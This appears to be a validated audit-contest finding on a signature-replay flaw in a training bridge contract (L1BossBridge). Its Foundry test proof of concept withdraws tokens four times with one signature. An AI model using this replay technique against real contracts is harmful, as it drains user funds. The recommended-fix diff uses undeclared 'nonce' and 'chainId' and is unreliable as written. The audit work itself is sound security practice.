Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Lack of Nonce Verification in `sendToL1` and `withdrawTokensToL1` Function Facilitating Replay Attacks

Summary

The sendToL1 and withdrawTokensToL1 function in the L1BossBridge smart contract is susceptible to replay attacks due to the absence of a nonce verification mechanism. The attacker can exploit this vulnerability to repeatedly withdraw tokens using the same signature, leading to potential financial losses.

Vulnerability Details

The sendToL1 and withdrawTokensToL1 function allows for the withdrawal of tokens from L2 to L1 based on a provided signature. However, the lack of nonce verification exposes the contract to replay attacks. The proof of concept illustrates how an attacker, having successfully withdrawn tokens once, can reuse the same valid signature to execute the function multiple times. This results in the unauthorized withdrawal of tokens, as the contract does not validate whether the same signature has been used before.

Proof of Concept

function testMultyCallWithSameSignature() public {
uint256 depositAmount = 10e18;
uint256 withdrawAmount = 1e18;
// User deposit tokens on L1
vm.startPrank(user);
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
vm.stopPrank();
// Operator sing the message to withdraw tokens
bytes memory message = _getTokenWithdrawalMessage(hacker, withdrawAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);
// Hacker can withdraw tokens multiple times with the same signature
vm.startPrank(hacker);
tokenBridge.withdrawTokensToL1(hacker, withdrawAmount, v, r, s);
tokenBridge.withdrawTokensToL1(hacker, withdrawAmount, v, r, s);
tokenBridge.withdrawTokensToL1(hacker, withdrawAmount, v, r, s);
tokenBridge.withdrawTokensToL1(hacker, withdrawAmount, v, r, s);
vm.startPrank(hacker);
assertEq(token.balanceOf(hacker), (withdrawAmount * 4));
}

Impact

The impact of this vulnerability is severe, as it allows an attacker to repeatedly execute token withdrawals with the same signature, potentially draining the contract's token balance and causing financial harm.

Tools Used

  • Manual review

  • Foundry

Recommendations

Implement Nonce Verification: Introduce a nonce parameter in the function signature and maintain a nonce registry for each signer. Ensure that the provided nonce is greater than the previously used nonce for the same signer. Also, to prevent the same signature from being used between L1 and L2, it is recommended to add the chainId parameter within the signature.

+ function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external nonReentrant whenNotPaused {
- function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
sendToL1(
v,
r,
s,
abi.encode(
address(token),
0, // value
abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount)),
+ chainId, // chain id
+ nonce++ // nonce
)
);
}
+ function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) internal {
- function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
(address target, uint256 value, bytes memory data) = abi.decode(message, (address, uint256, bytes));
(bool success,) = target.call{ value: value }(data);
if (!success) {
revert L1BossBridge__CallFailed();
}
}
Updates

Lead Judging Commences

0xnevi Lead Judge
about 2 years ago
0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.